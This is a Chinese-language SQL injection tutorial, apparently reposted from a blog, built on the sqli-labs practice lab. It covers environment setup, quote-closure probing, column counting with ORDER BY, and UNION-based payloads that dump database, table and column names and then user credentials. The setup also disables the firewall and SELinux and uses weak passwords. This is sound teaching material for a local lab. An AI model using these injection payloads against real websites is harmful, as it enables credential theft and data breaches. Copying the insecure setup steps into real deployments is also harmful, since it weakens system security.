漏洞篇(SQL注入一)

编程入门 行业动态 更新时间:2024-10-28 14:23:40

<a href=https://www.elefans.com/category/jswz/34/1770270.html style=漏洞篇(SQL注入一)"/>

漏洞篇(SQL注入一)

目录

一、sql 注入概述

1、SQL 注入原理

2、SQL 注入的分类

二、部署 sqli-labs 学习环境

1、SQLI-LABS 简介

2、部署 SQLI-LABS 实验环境

三、SQLI-LABS 教学

1、Less-1

2、闭合方式概述

3、使用 order by 判断表中字段数

4、常见手动 sql 注入的闭合方式

四、SQL 注入-联合查询 

1、爆出字段的显示位置

2、获取数据库名称

3、列出当前数据库中所有表的名称

4、获取 users 表中的字段名

5、获取用户名密码字段中的值

一、sql 注入概述

1、SQL 注入原理

用户登录的基本 SQL 语句: select * from users where username = '用户输入的用户名'and password = '用户输入的密码' 用户输入的内容是可控的,例如我们可以在用户名中输入' or 1=1 --空格 select * from users where username = ' ' or 1=1 --空格 'and password = '用户输入的密码'          此时我们输入的第一个单引号将 username 的单引号闭合,相当于输入了一个空用户,or 表示左右 两边只要有一边条件判断成立则该语句返回结果为真,其中 1=1 永远为真,所以当前 SQL 语句无论怎么 执行结果永远为真,--空格表示注释,注释后面所有代码不再执行。 我们可以看到上面我们闭合的方法是没有输入用户名的,所以并不能成功登陆 select * from users where username = ' admin' or 1=1 --空格 'and password ='用户输入的 密码'                  我们在单引号前面加上用户名表示我们要登陆的用户。这样就成功绕过了用户密码认证。 单引号的作用: 在提交数据或者 URL 中添加单引号进行提交如果返回 SQL 错误即可判断当前位置存在 SQL 注入漏洞。原因是没有被过滤。        

2、SQL 注入的分类

SQL 注入的分类基本上都是根据在注入的方式进行分类,大概分为以下 4 类 1、布尔注入:可以根据返回页面判断条件真假的注入; 2、联合注入:可以使用 union 的注入; 3、延时注入:不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断; 4、报错注入:页面会返回错误信息,或者把注入的语句的结果直接返回在页面中; 以上是根据常见的注入方式进行分类,但是通常来说 SQL 注入只分为字符型或者数字型比如: 数字型 1 or 1=1 字符型 1' or '1'='1                         

二、部署 sqli-labs 学习环境

1、SQLI-LABS 简介

SQLI-LABS 是一个学习 SQL 注入的实验平台 下载地址:                 

2、部署 SQLI-LABS 实验环境

关闭防火墙并设置开机不启动         
[root@localhost ~]# systemctl stop firewalld.service
[root@localhost ~]# systemctl disable firewalld.service
关闭 selinux                 

[root@localhost ~]# vim /etc/selinux/config # 打开配置文件
将 SELINUX=enforcing 这一项设置为 SELINUX= disabled 保存退出        
[root@localhost ~]# reboot #重启系统,才能彻底关闭selinux
[root@localhost ~]# iptables -F #清空防火规则
(1)接下来使用 rpm 包,快速搭建 LAMP 环境:                 
[root@localhost ~]# yum install -y httpd php php-mysql php-gd mariadb-server
mariadb
注:php-gd 库:gd 库是 php 处理图形的扩展库,gd 库提供了一系列用来处理图片的 API,使用 GD 库可以处理图片,或者生成图片。 在网站上 GD 库通常用来生成缩略图或者用来对图片加水印或者 对网站数据生成报表及验证码。         (2)安装完之后,检查安装的状态和启动服务                         
[root@localhost ~]# systemctl start httpd
[root@localhost ~]# systemctl start mariadb
开机启动:            
[root@localhost ~]# systemctl enable httpd
Created symlink from /etc/systemd/system/multi-user.target.wants/httpd.service to /usr/lib/systemd/system/httpd.service.
[root@localhost ~]# systemctl enable mariadb
Created symlink from /etc/systemd/system/multi-user.target.wants/mariadb.service to /usr/lib/systemd/system/mariadb.service.
(3)测试 LAMP 环境:                 
[root@localhost ~]# vim /var/www/html/test.php
<?php
phpinfo();
?>
(4)配置 mysql 数据库 root 用户密码:                 
[root@localhost ~]# mysqladmin -u root password "123.com"
[root@localhost ~]# mysql -proot -u
(5)安装 sqli-labs 教学环境 使用 rz 命令上传 sqli-labs 到 centos 系统上        
[root@localhost ~]# rz
上传完成后关闭该窗口        
[root@localhost ~]# unzip sqli-labs-master.zip -d /var/www/html
[root@localhost ~]# mv /var/www/html/sqli-labs-master/ /var/www/html/sqli-labs
apache 默认运行用户为 apache 所以我们需要修改文件权限
[root@localhost ~]# chown -R apache:apache /var/www/html/
[root@localhost ~]# vim /var/www/html/sqli-labs/sql-connections/db-creds.inc
改:
5 $dbpass ='';
为:
5 $dbpass ='123456';
:wq 保存退出

三、SQLI-LABS 教学

每个例子都有对应的 Less-ID,我们直接以 Less-ID 表示对应的页面即可。

1、Less-1

 提示我们输入一个 ID 参数,我们修改 url 来传递 ID 参数

http://192.168.1.102/sqli-labs/Less-1/?id=1 参数说明: ?表示传递参数,通常都是在页面后会有 ?id=数值,这样的方式传递参数给服务器,然后给我们返 回参数对应的页面信息,我们发现我们是在/后面直接使用?传递参数,此时参数会传递给默认页面。 实际上在 URL 中传递参数时 ,相当于执行了以下 sql 语句: MariaDB [security]> select * from users where id='1'; 我们尝试添加一个单引号看一下错误信息 http://192.168.1.102/sqli-labs/Less-1/?id=1%27         You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1 我们分析一下报错的 SQL 语句位置 ''1'' LIMIT 0,1' 把外面的单引号去掉,那是用来说明报错的 SQL 语句位置的。 '1' ' LIMIT 0,1 我们看到我们输入的 id=1 此时 id 参数已经成功闭合,但是多了一个单引号导致后面的语句执行失 败,由此我们可以确认当前位置存在 SQL 注入 。原因是我们输入的单引号没有被过滤,成功带入数据库中执行。                          扩展:LIMIT 用法 LIMIT 是 MySQL 内置函数,其作用是用于限制查询结果的条数。 其语法格式: LIMIT [位置偏移量,] 行数 其中,中括号里面的参数是可选参数,位置偏移量是指 MySQL 查询分析器要从哪一行开始显示,索 引值从 0 开始,即第一条记录位置偏移量是 0,第二条记录的位置偏移量是 1,依此类推...,第二个参数为 “行数”即指示返回的记录条数。 一句话概括: 位置偏移量可以理解为跳过前 N 条记录,或从第 N 条记录开始,往后显示 N 条记 录。

2、闭合方式概述

闭合方式是指开发人员在 sql 语句中的加在参数变量两边的符号。

这个 sql 语句中的$id 采用的闭合方式就是单引号。    

           

3、使用 order by 判断表中字段数

ORDER BY 关键词用于对记录集中的数据进行排序。                  用法 1:按某个字段进行排序: 语法:select 字段 1,字段 2 from 表名 order by 字段名; 例:order by 用于 MySQL 查询排序(升序) MariaDB [security]> select * from users order by id;         用法 2:按第几个字段进行排序,如果超过查询的字段数,就报错 语法:select 字段 1,字段 2 from 表名 order by 数字;                  例 1:按第 2 个字段 username 进行排序 MariaDB [security]> select * from users order by 2;                  例 2:使用 order by 统计查询的字段数量: MariaDB [security]> select * from users order by 10; ERROR 1054 (42S22): Unknown column '10' in 'order clause' 报错:找不到 10 字段,因为 select *,其中的 * 代表表中的所有字段,也就是说明表中字段数量不 够 10 个 在 hackbar 命令框中,输入:http://192.168.1.63/sqli-labs/Less-1/ ?id=1'order by 4--+ 注: ?id=1 正常传递参数 '单引号闭合 id 字段 order by 4 判断是否存在 4 个字段 --+注释掉后面的 SQL 语句         

4、常见手动 sql 注入的闭合方式

or 1=1--+ 'or 1=1--+ "or 1=1--+ )or 1=1--+ ')or 1=1--+ ") or 1=1--+ "))or 1=1--+         具体使用哪种方式取决于 SQL 语句使用了什么方式。我们可以在注入点输入反斜杠\来判断页面使用 的哪种闭合方式。 http://192.168.1.102/sqli-labs/Less-1/?id=1\         \表示转义,直接输入\会将字段的闭合方式暴露出来,因为被转义不生效,导致 SQL 语句报错。并 爆出闭合方式。 弹出: '1\' LIMIT 0,1 这个错。发现\转义后有一个单引号,说明此 sql 语句基于单引号闭合。        

四、SQL 注入-联合查询 

1、爆出字段的显示位置

使用联合查询爆出字段前,我们需要了解 union 的使用方法。 union [ ˈ ju ː ni ə n] 联盟 UNION 操作符用于合并两个或多个 SELECT 语句的结果集。 请注意,UNION 内部的 SELECT 语句必须拥有相同数量的列。列也必须拥有相似的数据类型。同 时,每条 SELECT 语句中的列的顺序必须相同。 SQL UNION 语法: SELECT column_name(s) FROM table_name1 UNION SELECT column_name(s) FROM table_name2 例 1:将 users 表中 id=1 和 users 表中 id=3 的两个记录合并到一个表中。 MariaDB [security]> select * from users where id=1 union select * from users where id=3; 例 2:在 MySQL 中使用 union 爆出字段 先使用单条语句查询: MariaDB [security]> select * from users where id=1; 使用两条语句结合查询 MariaDB [security]> select * from users where id=1 union select 1,2,3;                  由此可以看到两条语句结合输出的结果,而 union select 1,2,3 表示,在上一条语句的查询结果 中,再输出 1 2 3 到对应的字段中,因此可以利用来做爆出字段的显示位置 在浏览器中输入:         http://192.168.1.101/sqli-labs/Less-1/?id=-1'union select 1,2,3 --+                  这里修改了 1 个重要参数,id=-1 这个值在数据库中是不存在的,原因是程序只返回一个结果,所以我们需要使 union 前面的语句出错才可以让我们后面查询的结果返回。 注:联合查询必须字段数一致。如果表存在 3 个字段联合查询的字段也必须是 3 个,否则报错。从 而可以判断表中的字段数。

2、获取数据库名称

获取数据库名称会使用到 database(),而 database()是数据库内嵌的函数,主要是用于查询当前的数据库名称 我们获得了对应字段的显示位置,就可以在对应的位置查询我们想要获取到的数据库信息。          http://192.168.1.101/sqli-labs/Less-1/?id=-1'union select 1,database(),3 --+                  注意:按以上语句中分析,1,database(),3 database()替换了字段 2,作用是查询当前数据库名称。 而其中的 1 和 3 是补给第 1 和第 3 个字段的显示结果 数据库名称是 security 拓展:常用函数 version()                                                  #MySQL 版本 user()                                                       #数据库用户名 database()                                               #数据库名 @@datadir                                              #数据库路径 @@version_compile_os                         #操作系统版本 到这里我们已经可以执行数据库中的函数了,所以我们可以查询更多的数据。         

3、列出当前数据库中所有表的名称

先来了解 information_schema,这是 MySQL 自带的一个元数据库,用于存储 MySQL 的数据结 构。 元数据则是用于描述数据本身的数据,称为元数据,包含了,MySQL 当中有多少个数据库,这些数 据库的名称是什么,每个数据库里有多少个表,具体的表名叫什么。 而 information_schema 这个库里又存放了很多个表 ,这些表里的不同字段表示 MySQL 中的相关 信息。而我们也可以通过 information_schema 和以上我们学习到的注入使用方式去查询更多的信息。 例:查看 information_schema 库中 tables 表中 table_schema 等于 security 的相关信息 MariaDB [security]> select table_schema,table_name from information_schema.tables where table_schema='security'; 注:information_schema 库中的 tables 表的字段解释: table_schema                 #该字段存储数据库名 ; table_name                     #该字段存储对应数据库中的包括的表名 总结:从上图查询结果中可以看出, security 库中有 4 张表,表的名字是:emails,referers, uagents,users 。          实战:使用 group_concat()函数进行 sql 注入 group_concat()函数功能: 将 where 条件匹配到的多条记录连接成一个字符串。 语法:group_concat (str1, str2,...) 返回结果为 连接参数产生的字符串 ,如果有任何一个参数为 null,则返回值为 null。          例 1:使用 group_concat( table_name ) 将 table_schema = 'security'匹配到的 table_name 字 段值,连接成一个字符串。 可以匹配到的数据如下:                          执行 sql 语句: MariaDB [security]> select group_concat(table_name) from information_schema.tables where table_schema="security"; group_concat( table_name ) #表示将分组中的值(table_name 字段)链接成一个字符串,然后 将该字符串返回 下面使用 sql 注入方式进行注入: http://192.168.1.101/sqli-labs/Less-1/?id=-1'union select 1,table_schema,group_concat(table_name) from information_schema.tables where table_schema='security' --+
 

4、获取 users 表中的字段名

首先了解一下 information_schema 元数据库下的 columns 表,columns 表用于存储 MySQL 中 的所有表的字段类型。 例 1:使用 group_concat()将 users 表中的字段合并成一个字符串 执行 sql 语句:TABLE_SCHEMA                  MariaDB [security]> select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users';

例 2:通过 group_concat(column_name)进行 sql 注入,查看 users 表中字段 通过 sql 注入查询

http://192.168.1.101/sqli-labs/Less-1/?id=-1'union select 1,table_schema,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users' --+

5、获取用户名密码字段中的值

例1:使用 group_concat(username,0x3a,password) 将用户名和密码连接成字符串, 并使用: 冒号将用户名和密码分隔开 扩展:0x 是十六进制的标志,3a 即十六进制的 3a。 0x3a 在 ASCII 码表代表: 冒号 http://192.168.1.101/sqli-labs/Less-1/?id=-1'union select 1,2,group_concat(username,0x3a,password) from users --+
 

 例2:实战-在 sql 注入时加入换行符

我们可以在每一个用户名:密码后面添加一个换行符。 HTML 中换行符用<hr />来表示,但是我们需要转换成十六进制 0x3C,0x68,0x72,0x2F,0x3E ASCII 码表: =aladdin 将十六进制的换行符添加到 password 字段后,注:password 后面必须添加一个逗号

我们可以看到每一行都是一个用户名:密码 不过从第二行开始用户名前面多了一个逗号,这是 group_concat 函数在取值的过程中使用逗号进 行分割。所以这个逗号不能去掉。后期将数据导出到 txt 文档后,可以使用 vim 命令,把逗号去掉。

更多推荐

漏洞篇(SQL注入一)

本文发布于:2023-07-04 02:03:13,感谢您对本站的认可!
本文链接:https://www.elefans.com/category/jswz/34/1015674.html
版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系,我们将在24小时内删除。
本文标签:漏洞   SQL

发布评论

评论列表 (有 0 条评论)
草根站长

>www.elefans.com

编程频道|电子爱好者 - 技术资讯及电子产品介绍!